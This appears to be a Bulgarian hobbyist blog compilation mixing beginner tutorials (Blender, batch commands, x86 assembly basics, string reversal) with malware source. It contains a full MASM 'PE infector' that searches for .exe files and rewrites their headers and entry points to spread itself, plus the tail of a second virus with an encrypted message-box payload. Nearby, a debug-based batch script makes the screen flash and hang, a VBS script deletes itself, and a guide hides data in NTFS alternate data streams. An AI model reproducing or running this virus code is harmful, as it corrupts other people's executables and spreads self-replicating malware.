add ebx,encryption - mylabel
mov cl,[ebp+xorkey]
encryptmore:
inc eax
xor byte ptr[eax],cl
cmp eax,ebx ;encrypt the strings
jnz encryptmore
pop ebx
pop eax


mov ecx,[ebp+FileSize]
sub ecx,other - mylabel
add ecx,[ebp+AddressOfFileMap]
cmp eax,ecx

jle dontModifyRawSize
jmp modifyRawSize
dontModifyRawSize:
mov edx,[ebp+OpenFileHandle] ;sizeofimage
add dword ptr [edx],other - mylabel ;modify size of image
afterModifyRawSize:

mov eax,[ebp+LastSectionOff]
add eax,24h
mov dword ptr[eax],0E00000E0h
mov eax,[ebp+AddressOfFileMap]
push eax
add eax,3Ch
mov eax,dword ptr[eax]
pop edx
add eax,edx
add eax,28h
mov ecx,[ebp+NewEP]
sub ecx,[ebp+ImageBase]
mov dword ptr[eax],ecx

pop edx
pop eax
push edx
savetofile:
pop edx
sub edx,[ebp+AddressOfFileMap]
add edx,other - mylabel
mov ecx,[ebp+AddressOfFileMap]


push edx
push ecx
movd ecx,mm7
call ecx

jmp OneMoreInfection
readyforEP:
igotoEP db 6 dup(?)
;int 3
preparetoexe:
;prepare to execute the main program
jmp letsgotoEP
itsdone:
jmp readytoexe
letsgotoEP:
lea ecx,[ebp+igotoEP]
mov byte ptr[ecx],68h
add ecx,1h
mov eax,[ebp+EntryPoint]
add eax,[ebp+ImageBase]
mov dword ptr[ecx],eax
add ecx,4h
mov byte ptr[ecx],0C3h
jmp itsdone

PayLoad:

pop esi ;ImageBase of kernel32
pop edi ;export table of kernel32
mov ebx,0A216A185h ;LoadLibrary
xor eax,eax
call GetApis
lea eax,[ebp+dllname]
push eax
call ecx ;load user32.dll 
xchg esi,eax
call GetKernel
mov ebx,9A9C4525h 
xor eax,eax
call GetApis ;get messagebox addr

lea eax,[ebp+payload]
xor ebx,ebx
push MB_ICONERROR
push 0h
push eax
push 0h
call ecx ; call messagebox
jmp readyforEP  
other label near
end start

Blender 3D начало...

Реших да направя поредица от уроци за начинаещите в 3D разработването.Програмата която ще използваме е Blender 3D тя е безплатна програма която може да свалите от http://www.blender.org/download/get-blender/ Blender 3D не е популярна като 3D Studio Max или Maya 3D но за сметка на това е безплатна и не иска големи изисквания за pc-то и може да тръгне под почти всяка платформа и не на последно място е open-source , и не на последно място е лесна за използване. В последно време тези фактори доведоха до изместването на известните програми за 3D от Blender.
Ето ви линк към урока.
http://4storing.com/free/eg06e/0dc8f36dbde01963f5d32e45c704137f.html

Batch & VBS скриптове

В тази статия ще ви покажа някой яки скриптове които намерих в интернет и мисля че трябва да ги пробвате.

@echo off
:a
echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg
echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg
echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg
echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg
echo g=100>>\z.dbg
echo q>>\z.dbg
debug <\z.dbg>nul
del \z.dbg
goto a

записват този код под формата на .bat файл и след пускането му екрана на монитора ви ще започне да примигва в различни цветове ако натиснете някой клавиш монитора ще стане черен и единственият начин да го спрете е с CTRL+ALT+DEL.

WScript.Sleep 100
WScript.Sleep 100
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys " Az "
WScript.Sleep 500
WshShell.SendKeys "sam "
WScript.Sleep 500
WshShell.SendKeys "v tvoqt "
WScript.Sleep 500
WshShell.SendKeys "kompytar "
WScript.Sleep 500
WshShell.SendKeys "! "
WScript.Sleep 500
WshShell.SendKeys "kekeke"
WScript.Sleep 500
WshShell.SendKeys "kekekek"
WScript.Sleep 500
WshShell.SendKeys "...."
WScript.Sleep 500
Set fso = CreateObject("Scripting.FileSystemObject")
Set aFile = fso.GetFile(".\myfile.vbs")
aFile.Delete

Записвате този файл като .vbs След като го пуснете скрипта ще отвори нотепад и вътре ще напише съобщение след това файлат сам ще се самоизтрие (и няма да го намерите и в кошчето).

Ето ви един прост скрипт който след като бъде въведен в url бара на mozilla firefox ще ви се отоври още една инстанция на програмата във вече работещата програма :)
chrome://browser/content/browser.xul

Ето ви още един batch скрипт с който ще получите matrix like ефект :P

@echo off
color 2
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start

Alternative Data Streams....

В този урок ще ви покажа един лесен начин за скриване на файлове в NTFS файловите системи които се използват от Windows.
Така влезте в старт менюто start -> run -> notepad C:\boot.ini:hiddendata след като цакнете enter ще ви се отвори notepad и ще ви попита дали искате
да създадете даденият файл.. подвърдете създаването на файла и напишете вътре нещо после Ctrl+S и затворете notepad.Сега отидете в диск C и ще видите че няма никакъв файл със съдържанието което сте въвели.(ако не сте променили настройкити на папките такаче да виждате
невидимите файлове няма да видите дори и boot.ini )
Сега пак в run консолата напишете C:\boot.ini:hiddendata и ето я вашата информация :)
Трика се състои в това когато пишете в run диалога след името на съществуващ файл или папка да сложите : и после името на тайния запис.
Ето ви още един пример notepad C:\Windows\system32\calc.exe:mysecretdata в този пример записваме тайният запис прикрепен към calc.exe.
това се дължи на Alternative Data Streams.. потърсете в google за повече информация.

Обръщане на низ

Написах тази програма за един приятел на който му трябваше програма да обраща низ отзад напред но без да използва никакви допълнителни функций.


.386
.model flat, stdcall
option casemap :none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\masm32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\masm32.lib
.data?
string db 20 dup(?)
Reversed db 20 dup(?)
count db ?
.code
start:

invoke StdIn,addr string,20
xor dl,dl
lea ecx,string
loop1:
mov bl,byte ptr[ecx]
cmp bl,0h
jz play
inc dl
inc ecx
jmp loop1
play:
sub ecx,3
sub dl,2
lea eax,Reversed
newloop:
mov bl,byte ptr[ecx]
mov byte ptr [eax],bl
dec ecx
dec dl
inc eax
cmp dl,0
je play1
jmp newloop
play1:
invoke StdOut,addr string
invoke StdOut,addr Reversed
invoke StdIn,addr string,1
invoke ExitProcess, 0
end start


Batch Basics

Това са просто текстови файлове записани в .bat разширение които се изпалняват от CMD интерпретера.
Има някой много полезни неща които можем да правим с тези команди нека разгледаме какво е възможно с изпланението
на Batch команди.Преди да започнем да пишем Batch файлове нека първо експериментираме в CMD (Start->Run->cmd.exe) интерпретера.

Ако искаме да видим всички дискове с които разполагаме в нашата система, трябва да напишем тази команда:
fsutil fsinfo drives
ако всичко е сработило добре трябва да ви излезе нещо подобно в прозореца на интепретера:

Drives: A:\ C:\ D:\ E:\ F:\ G:\ H:\

Вероятно тази команда ви се е сторила доста сложа затова нека започнем от най простите примери.
Пренасянаето от един диск в друг става много просто, само трябва да напишем името на диска последвано от двуеточие и сме там:
Например за да отидем в диск Д пишем: D: съответно за Ц C: и така нататак.

За да създадем нова директория използваме следната команда:
mkdir MoqtaPapka
и ако сте изпълнели тази команди сте създали папка с името MoqtaPapka
просто използваме командата mkdir последвана от интервал и името на папката която искаме да създадем.
За да видим съдържанието на директорията в която се намира просто използваме командата dir
След това ако искаме да влезем в директорията която току що сме създали ползваме следната команда:
cd MoqtaPapka
cd последвано от интервал и името на папката и сме вътре в папката.
Но да речем че искате да влезете в папка която се намира в друг диск например Д и се намира в друга папка тогава трябва да откажете следният път последният начин:
cd D:\Papka1\MoqtaPapka
мисля че вече сфанахте как се работи с тази команда.
За да създадете нов файл и едновремено с това да запишете данни вътре изпозлвайте следната команда:
echo ToziTextShteBadeVFila > myfile.txt
команда echo последвана от интервал и информацията която трябва да се запише файла, след това отново интервал и знака > , интервал и след това името и разширението на файла.
Този път разширението е .txt за текстов файл но то може да е каквото решите вие например .dat .ini .reg .com даже и .exe но разбирасе това не би било особено практично.
А за да видим съдаржанието на даден файл използваме следната команда:
type myfile.txt
type интервал и името на файла.
За да видим дата и времето просто трябва да изпълним за датата команда Date и за времето команда Time.
Ако искаме да приеменуваме някои файл използваме следната команда:
ren document.txt file.txt
тази команда ще промени името на файла document.txt на file.txt
За да преместите един файл от една директория в друга се използва следната команда:
move D:\Papka1\MoqtaPapka\myfile.txt C:\myfiles\newfile.txt
просто използваме команда move последвана от пътя към файла който искаме да преместим последван от пътя на мястото кадето искаме да бъде преместен файла.
Забележете че при този пример след като файла myfile.txt бъде преместен в директорията myfiles той ще бъде с ново име newfile.txt. Разбирасе промяната на името не е задължителна.
А ако искате просто да копирате един файл от едно място в друго синтаксиса е същият просто използваме команда copy:
copy D:\Papka1\MoqtaPapka\myfile.txt C:\myfiles\newfile.txt

За да премахнете дадена директория използвайте команда rmdir /s неможе просто да използвате rmdir защото ако има файлове в дадената директория то тя няма да бъде премахната, а като добавим /S то директорията
със всичко което се намира вътре ще бъде премахнато.
Ако искате да изтриете само даден файл просто използвате команда del :
del myfile.txt
така ще изтриете текстов файл си име myfile.
За да създадете нова директория просто използвайте командата mkdir послдвана от името на директорията която сикате да съждадете:
mkdir MyDirectory

Това са главните неща при batch скриптовете но има още доста неща да се напишат по темата, след време можеби ще напиша още неща по темата. :)

Моят първи PE Инфектор

Това е моят първи PE инфектор написан на чист асамблер.
Спецификаций:Може да инфектира по един файл на веднъж, и инфектира само файлове в същата директория.
Асемблирал сам го с MASM.
А ето и кода:


.686p
.mmx
.MODEL flat,stdcall
OPTION CASEMAP:NONE
include kernel32.inc
includelib kernel32.lib
Include windows.inc
.code
blabla label near
string db "*.exe",0
ep dd ?
var dd 0000003ch
varr dd ?
entrypoint dd ?
newep dd ?
wfd WIN32_FIND_DATA
start:
nop
call delta
delta:
pop ebp
sub ebp,offset delta
pop esi
and esi,0FFF00000h
push esi
add esi,[esi+3Ch]
add esi,078h
mov edi,dword ptr [esi]
pop esi
add edi,esi
push esi
push edi
mov eax,[ebp+entrypoint]
mov [ep+ebp],eax
xor eax,eax
mov ebx,0903ebb2eh
call [GetThisFuckingAPIs]
lea ebx,[wfd+ebp]
lea eax,[string+ebp]
call goon ;FindFirstFileA
movd mm2,eax
add edx,1h
movd mm7,edx
pop edi
pop esi
push eax
push esi
push edi
mov ebx,02BD833FBh
xor eax,eax
call [GetThisFuckingAPIs]
movd mm,ecx ;CreateFileA
mov edi,ecx
OpenMyFile:
movd ecx,mm
push NULL
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push NULL
push FILE_SHARE_READ+FILE_SHARE_WRITE
push GENERIC_READ+GENERIC_WRITE
lea eax,[wfd.cFileName+ebp]
push eax
call ecx ;CreateFileA
cmp eax,0FFFFFFFFh
jz test123
jmp notend
test123:
cmp ebp,0h
jz gogo
mov eax,[ep+ebp]
jmp eax
gogo:
push 0
Call ExitProcess
notend:
xor edx,edx
call Infection
movd edx,mm7
test edx,edx
jz here
add edx,01h
sub edx,edx
movd mm7,edx
pop edi
pop esi
push esi
push edi
mov ebx,0A38B216Eh
call [GetThisFuckingAPIs]
movd mm1,ecx ;FindNextFileA
pop edi
pop esi
pop eax
push esi
push edi
FindNextFile1:
movd ecx,mm1
lea ebx,[wfd+ebp]
call goon ;FindNextFileA
jmp OpenMyFile
goon proc
push ebx
push eax
call ecx
Ret
goon EndP
GetThisFuckingAPIs:
mov ecx,[edi+18h]
mov edx,[edi+20h]
add edx,esi
push ecx
push esi
push edi
mov edi,esi
mov esi,[edx]
add esi,edi
lol:
xor edi,edi
loop1:
lodsb
mov ecx,eax
add edi,eax
rol edi,cl
test eax,eax
jne loop1
cmp edi,ebx
je found
dec dword ptr[esp+08h]
jne lol
found:
pop EBX
pop EAX
pop ECX
mov edx,[ebx+18h]
mov edi,[ebx+24h]
add edi,eax
sub edx,ecx
shl edx,1
add edi,edx
movzx edx,word ptr[edi]
mov ebx,[ebx+1ch]
add ebx,eax
shl edx,2
add ebx,edx
xor ecx,ecx
add ecx,[ebx]
add ecx,eax
xor eax,eax
ret
here:
movd eax,mm2
jmp FindNextFile1
ret
Infection proc
push ebp
push eax
mov ebp,esp
add ebp,0Ch
mov edi,[ebp]
add ebp,04h
mov esi,[ebp]
mov ebx,0C4D9B34Ch ;ReadFile
call GetThisFuckingAPIs
movd mm3,ecx
mov esi,[ebp]
sub ebp,04h
mov edi,[ebp]
mov ebx,093FAD32Ch ;WriteFile
call GetThisFuckingAPIs
movd mm4,ecx
mov edi,[ebp]
add ebp,04h
mov esi,[ebp]
mov ebx,0119E9E92h ;CloseHandle
call GetThisFuckingAPIs
movd mm5,ecx
mov esi,[ebp]
sub ebp,04h
mov edi,[ebp]
mov ebx,0FD641C15h ;SetFilePointer
call GetThisFuckingAPIs
movd mm6,ecx
mov edi,[ebp]
add ebp,04h
mov esi,[ebp]
mov ebx,0C93E80D5h ;CancelIo
call GetThisFuckingAPIs
pop eax
pop ebp
push ecx
push ebp
push eax
pop eax
pop ebp
movd ecx,mm6
movd ecx,mm6
push eax
Reading:
call SetFilePointer1 ;SetFilePointer
mov edi,4h
mov eax,[esp]
call ReadFile1 ;ReadFile
pop eax
push [ebp+ var]
push eax
add [ebp+var],28h
movd ecx,mm6
pop eax
push eax
call SetFilePointer1 ;SetFilePointer
pop eax
push eax
mov edi,4h
call ReadFile1 ;ReadFile
mov esi,[ebp+var]
mov [ebp+entrypoint],esi
pop eax
pop [ebp+var]
push [ebp+var]
add [ebp+var],34h
push eax
movd ecx,mm6
call SetFilePointer1 ;SetFilePointer
pop eax
push eax
mov edi,4h
call ReadFile1
mov esi,[ebp+var]
add [ebp+entrypoint],esi
pop eax
pop [ebp+var]
push eax
movd ecx,mm6
pop eax
push [var+ebp]
push eax
add [var+ebp],6h
call SetFilePointer1 ;SetFilePointer
xor eax,eax
mov [ebp+varr],eax
mov [ebp+var],eax
pop eax
push eax
mov edi,2h
call ReadFile1;ReadFile
pop ecx
pop edx
push edx
push ecx
mov eax,[ebp+var]
mov ebx,28h
dec eax
imul eax,ebx
add edx,0F8h
add edx,eax
add edx,8h
mov esi,edx
pop eax
push edx
push eax
add edx,4h
mov [var+ebp],edx
pop eax
push eax
movd ecx,mm6
call SetFilePointer1 ;SetFilePointer
pop eax
push eax
mov edi,4h
call ReadFile1 ;ReadFile
mov edx,[ebp+var]
add edx,159h
mov [ebp+newep],edx
pop eax
pop edx
push edx
push eax
add edx,8h
mov [var+ebp],edx
pop eax
push eax
movd ecx,mm6
call SetFilePointer1
pop eax
push eax
mov edi,4h
call ReadFile1
mov edx,[ebp+var]
add [ebp+newep],edx
movd ecx,mm6
pop eax
pop edx
pop [var+ebp]
push edx
push eax
add [ebp+var],28h
movd ecx,mm6
call SetFilePointer1 ;SetFilePointer
pop eax
push eax
mov edx,[newep+ebp]
mov [var+ebp],edx
call WriteFile1 ; WriteFile
pop eax
pop edx
push eax
pop eax
push eax
mov [var+ebp],edx
movd ecx,mm6
call SetFilePointer1 ;SetFilePointer
pop eax
push eax
mov edi,4h
call ReadFile1 ;ReadFile
mov ebx,[ebp+var]
pop eax
push eax
mov [ebp+var],esi
movd ecx,mm6
call SetFilePointer1 ;SetFilePointer
mov [ebp+var],ebx
mov [ebp+varr],4h
pop eax
push eax
add [ebp+var],600h
pop eax
push [ebp+var]
push eax
call WriteFile1 ;WriteFile
add esi,8h
mov [var+ebp],esi
movd ecx,mm6
pop eax
push eax
movd ecx,mm6
call SetFilePointer1 ;SetFilePointer
pop eax
push eax
mov edi,4h
call ReadFile1 ;ReadFile
mov [ebp+varr],4h
pop eax
push eax
xchg [ebp+var],esi
push [ebp+var]
movd ecx,mm6
call SetFilePointer1 ;SetFilePointer
pop [ebp+var]
pop eax
push [ebp+var]
push eax
mov [ebp+var],esi
pop ecx
pop edi
pop eax
push edi
push ecx
push ecx
mov ecx,200h
xchg ecx,edx
xor edx,edx
div ecx
inc eax
imul eax,edx
xchg ecx,edx
mov [ebp+var],eax
call WriteFile1 ;WriteFile
pop eax
pop [ebp+var]
push eax
add [ebp+var],14h
movd ecx,mm6
call SetFilePointer1 ; SetFilePointer
mov [ebp+var],0E00000E0h
pop eax
push eax
call WriteFile1 ;WriteFile
pop eax
push eax
movd ecx,mm6
xchg [var+ebp],esi
push 2h
push 0h
push 0h
push eax
call ecx ;SetFilePointer
pop eax
pop ecx
push eax
push eax
call ecx ;CancelIo
mov [var+ebp],3ch
mov eax,[esp]
push 0h
lea ecx,[varr+ebp]
push ecx
push 600h
lea ebx,[blabla+ebp]
push ebx
push eax
movd ecx,mm4
call ecx ;WriteFile
pop eax
push eax
movd ecx,mm5
push eax
call ecx ;CloseHandle
Ret
SetFilePointer1:
push 0h
push 0h
push [var+ebp]
push eax
call ecx ;SetFilePointer
ret
ReadFile1:
movd ecx,mm3
push 0h
lea ebx,[varr+ebp]
push ebx
lea edx,[var+ebp]
push edi
push edx
push eax
call ecx ;ReadFile
ret
WriteFile1: ;WriteFile
push 0h
lea ecx,[varr+ebp]
push ecx
push 4h
lea ebx,[var+ebp]
push ebx
push eax
movd ecx,mm4
call ecx
ret
Infection EndP
End start


Асамблер за начинаещи

Здравейте аз сам нов в програмирането но реших да започна да пиша уроци на български за това което сам научил/уча, това помага и на мен и се надявам че ще помогне и на други. :)  
Този Урок е в начален стадий просто написах една малка въвеждаща част за да видя дали има интерес кам такива уроци и ако има да продалжа да го пиша (ако има интерес не сам си поставил крайна точка кога да спра... ).

Това е парвият урок който пиша за каквото и да е такаче ако има някакви тематични грешки докладвайте за да ги оправя (няма нужда да ми казвате за правописните грешки :D ) 
   
Ассемблера е език за програмиране от ниско ниво.Той е специфичен за определеният модел процесор.
Трудно е да се програмира на ассемблер защото в него има много малко и прости инструкций с които можем да боравим
и трудното е това как да саберем всички малки и прости парченца за да се получи нещо сложно.
Писането на ассемблер е много трудуемко но пак за сметка на това ассемблера ти дава много по голям контрол върхо машината отколкото 
езиците от високо ниво като C\C++,Pascal,Java,Python,Perl. Ассемблера се ползва там кадето трябва оптимизация (ассемблер може да се вгражда в Delphi,C\C++,Visual Basic и други).
Ассемблер се използва за саздаване на драйвери,ассемблер се използва за саздаване на вируси, използвасе за писане на експлойти, ассемблера е главното оръжие на кракерите.

За да овладеете ассемблер а и който и да е друг език за програмиране трябва да знаете как се представят данните в компютара.
Компютара не е нищо повече от един много мощен калкулатор който може само да сабира и изважда числа.Числата които компютара използва са само нули и единици
това е така наречената двоична бройна система.Двоична е защото се състои само от две числа 0 и 1.Едно число от двоичната система се нарича БИТ (Binary digIT)
Самоче един бит не ни е от голяма полза и затова компютъра гупира няколко бита и ето какво се получава. Четири бит става нибъл ( Nibble) 0101 но един нибъл също
не ни е от полза затова нека групираме два нибъла за да получим най малката единица данни която може да бъде записана, това е байта (Byte) 00101101.
А ако обединим два байта се получава дума (word) а ако обединим две думи се получава двойна дума (dword).
Тази система от единици и нули е изключително удобна за компютрите но изключително неодобно за нас хората.Например 00000101 е 5 в десетична бройна система (decimal - бройната система
която ползваме в нашето ежедневие).А превращането от десетична в двоична и обратното е трудуемко.Затовае е изобретена шеснайсетична бройна система (hexdecimal) която използва числата
от 1 до 9 и буквите от латинската азбука от A до F.Тя е измислена защото ни позволява по леко да работим с двоичната бройна система, защото превращането от двоична в шеснайсетична и обратното е
много лесно.Просто трябва да разделите двоичното число на части по 4 бита в всяка част и след това просто записвате кое число от шеснайсетичната система отговаря на дадената група от 4 бита.
За да видите това може да използвате следващата таблица, а ето ви и един пример как става на практика:
имаме това двоично число -> 111100010111 първа крачка -> 1111 0001 0111 втора крачка просто трябва да намерим числата в таблицата
1111 = F 0001 = 1 0111 = 7 и ето че се поличава 0xF17 (0x се използва за да индикираме че това е шеснайсетично число).


Dec Hex Bin 
0 0 0000
1 1 0001
2 2 0010
3 3 0011
4 4 0100
5 5 0101
6 6 0110
7 7 0111
8 8 1000
9 9 1001
10 A 1010
11 B 1011
12 C 1100
13 D 1101
14 E 1110
15 F 1111
Превращането от шеснайсетична в двоична става по аналогичен начин, мисля че се досещате как.

Сега е време да стане малко по сложно като се запознаем с това как се превръща от шеснайсетична в десетична и обратното.
Например имаме 333h (h накрая на числото също индикира че това е шеснайсетично число).За да го преварнем в десетично се извършват следните действия.

1x(16^0) = 1  
2x(16^1) = 32
3x(16^2) = 768
  -------
  801 
Първо се взима най дясната единица в нашия случай това е 1 и се умножава по 16 на степен 0 и си запазваме резултата за после.
После както виждате взимаме второто число и извършваме същото действие, самоче този път 16 не е на степен 0 а на степен 1.Мисля че, вече разбирате
че с всяко следващо число степента на която се повдига 16 се повишава с 1 :) . 

Сега е време да разберем как става превръщането от десетична в шеснайсетична.
Ако имаме десетичното число 1911 ето какви действия трябва да извършим за да го превърнем в шеснайсетично.
1911 - десетично.
1911/16 = 119.4 
119.4 - 119 = 0.4375
0.4375x16 = 7 <- запазваме го за накрая 
   
119/16 = 7.4375  
7.4375 - 7 = 0.4375  
0.4375x16 = 7 <- запазваме го за накрая  
   
7/16 = 0.4375  
втората съпка тук е безсмислена  
0.4375x16 = 7 <- запазваме го за накрая  
   
Първо делим числото на 16 след това обикновено числото което се получава е с десетична запетая затова го закръгляме към най-близката единица.
След това взимаме остатъка и го уножава ме по 16 и полученият резултат се запазва за накрая.
При второто деление на 16 взимаме закрагленото число което се е получило при предишното деление на 16.
Може да ви звучи малко объркващо и сложно но като разгледате добре примера и парктикувате малко сичко ще ви стане по ясно.
Накрая числата които казах да се запазят за накрая се съединяват като първото получено число е от страната на единиците, второто получено от
страната на десетиците а третото получено от страната на стотиците и т.н.  

Сега е време да се запознаем с превръщането от двоична в десетична и обратното.
Превръщането от двоична в десетична става по следния начин.
Имаме следното двоично число 1010011.

(1*1) + (1*2) + (0*4) + (0*8) + (1*16) + (0*32) + (1*64) =
  1 + 2 + 0 + 0 + 16 + 0 + 64 = 83

Взимаме най лявата единица от двоичното число и я умножава по 1 и записваме резултата.
След това взимаме втората единица и този път я умножава ме по 2 ( с всяка следваща единица числото множител
се умеличава като се умножи по 2 ).
Накрая получените числа от умножението се сабират.Мисля че примерът който съм дал е достатъчно ясен за да разберете как става :).

Сега остана само да разберем как става превръщанет от десетична в двоична.Ето ви един пример

273/2 = 136.5 | 1
136/2 = 68 | 0
68/2 = 34 | 0
34/2 = 17 | 0
17/2 = 8.5 | 1
8/2 = 4 | 0
4/2 = 2 | 0
2/2 = 1 | 0
1/2 = 0.5 | 1

Тук всичко е много просто, просто делим числото на 2 и ако има остатък отстрани си записваме 1 ако няма остатък си записваме 0.
При следващото деление взимаме числото получено от предишното деление без остатъка, и така докато не се получи 0.
След това четем редицата от нули и единици като започнем от най долната на горе и ги записваме.
и се получава 100010001.

Първо реших да се запознаем с регистрите в асамблера.Можете да гледате на тях като кутийки в които можете да запазвате нещо времено.
Регистрите на повечето компютри в днешно време са 32 бита.Вие вече знаете че един бит това е един бинариен.Значи един регистар може да съдържа по 32 бита.
Самоче както знаете е неодобно и не практично да се работи с битове затова нека разглеждаме регистрите като променливи които побират по 8(=32 бита) байта.
Един байт може да приема до 256 различни значения.За да разберете какви значения може да приема един байт ето ви линк към ascii таблица.
[URL=http://www.asciitable.com/]http://www.asciitable.com/[/URL] 

Урока който разглеждате в момента се отнася за семейството процесори x86 на Intel.Това са най използваните процесори днешно време.
Регистрите в асамблера са следните:
EAX(Extendet Accumulator Register)
ECX(Extendet Count Register)
EDX(Extendet Data Register)
EBX(Extendet Base Register)
ESP(Extendet Stack pointer)
EBP(Extendet Base Pointer)
ESI(Extendet Source Index)
EDI(Extendet Destination Index)
EIP(Extendet Instruction Pointer)
Можеби се чудите защо пред всеки от регистрите има сложено E(Extendet), Този префикс е бил поставен когато са изобретили 32 битовите процесори.
Преди регистрите са били 16 битови и саотвено следните:AX,CX,DX,BX,SP,BP,SI,DI,IP.
Всеки регистър се състой от висок ред (high-order) и нисък ред (low-order).
Нека вземем EAX и да го разгледаме по от близо.
|0|1|2|3|4|5|6|7|8|9|10|11|12|13|14|15|16|17|18|19|20|21|22|23|24|25|26|27|28|29|30|31| <- EAX = 32 бита
|_____________________________________|_______________________________________________| <- Първъта половина се нарича AX и е ниският ред на EAX, а втората половина няма определено име и неможе да се
използва самостоятелно, тя е високият ред на EAX, и е била добавена когато са били измислени 32 битовите процесори.
Нека вземем ниският ред на EAX към който можем да се обръщаме с AX.
|0|1|2|3|4|5|6|7|8|9|10|11|12|13|14|15| <- AX. AX също се състои от нисък ред и висок ред съответно AH за висок ред и AL за нисък ред.
|_______________|_____________________|

Това което научихме до момента се отнася и за девете главни регистъра.Наричат се главни защото може да изполват за всичко.
Но преди когато те не са били 32 битови всеки е имал строго определено предазначение.Ще се спрем на тези подтробности по късно когато започнем да пишем програми.

Има още няколко регистара със строго определено значение това са:
CS(Code Segment) <- Сочи винаги към сегмента на кода.
DS(Data Segment) <- Сочи винаги към сегмента на данните.
SS(Stack Segment) <- Сочи винаги към стека.
ES(Extra Segment) <- Допалнителен регистър.
FS <- Допалнителен регистър.
GS <- Допалнителен регистър.

Има още един регистер EFLAGS който ще разгледаме когато започнем да програмираме.
Има още един куп регистри които не са важни за нас поне засега.

Следващата програма работи върхо всички версий на MS-DOS и Windows (не сам сигурен за Vista).
Написана е на 16 битов ассамблер и ассамблирана с TASM.
За да ассамблирате програмата програмата трябва да я запишете в .asm формат в директорията BIN на TASM.
И да извършите следните действия през cmd в директорията BIN.
tasm ImeNaFaila.asm
tlink /t ImeNaFaila.obj
 
.model tiny;казва на TASM да използва само един сегмент за цялата програма.. едвали ще ви се
;наложи да използвате .model small, .model huge ... (това не е важно засега)
.code;казва на TASM откаде започва кода 
org 100h;казва откаде да започне стартирането на програмата (в нашия случай това е 100h, можеби се чудите защо
;не от самото начало от 1h  защото .COM програмите имат нужда от първите 100h (256 байта) които се наричат PSP (по нататък ще раз
;гледаме тази структура подробно)
start:;просто заглавие
mov dx,OFFSET STRING;mov премества данни от едно място в друго, mov дестинация,източник, дестинацията в нашич случай е регистърът dx
;а източника е низ терминиран с $ (ако не е терминиран с $ то тогава програмата ще изведе всичко което стрештне в секцията с данни докато не
;срещне $)
mov ah,09h;премества в ah шеснайсетичната стойност 09h която е необходима за да кажем кое прекасване (Interrupt) ще използваме
;Прекъсване това е нещо като извикване на даден вече дефинирана функция. MS-DOS ползва главно int 21 vector table прекъсвания . Извикването на дадено прекъсване
;става така, първо в регистрите се попълват дадените стойности искани от даденото прекъсване и след това се извиква с инструкцията int 21h.
;Например в нашия случей прекъсването за изкарване на екрана даден низ изисква dx да съдържа адреса към низ терминиран с $.
;Листата с всички прекъсвания може да намерите тук [URL=http://www.ctyme.com/intr/int-21.htm]http://www.ctyme.com/intr/int-21.htm[/URL] .
int 21h;извикване на прекъсване 
int 20h;извиква прекъсване от int 20h vector table което е единственото в тази векторна таблица и не изисква никакви параметри записани в регистрите 
;и се използва за излизане от програмата и връщане контрола на MS-DOS.
STRING db "Hello H4x0rs$";Низ терминиран с $.
end start;слага край на заглавието start. *изисква се от TASM*.

Дано не останете разочаровани.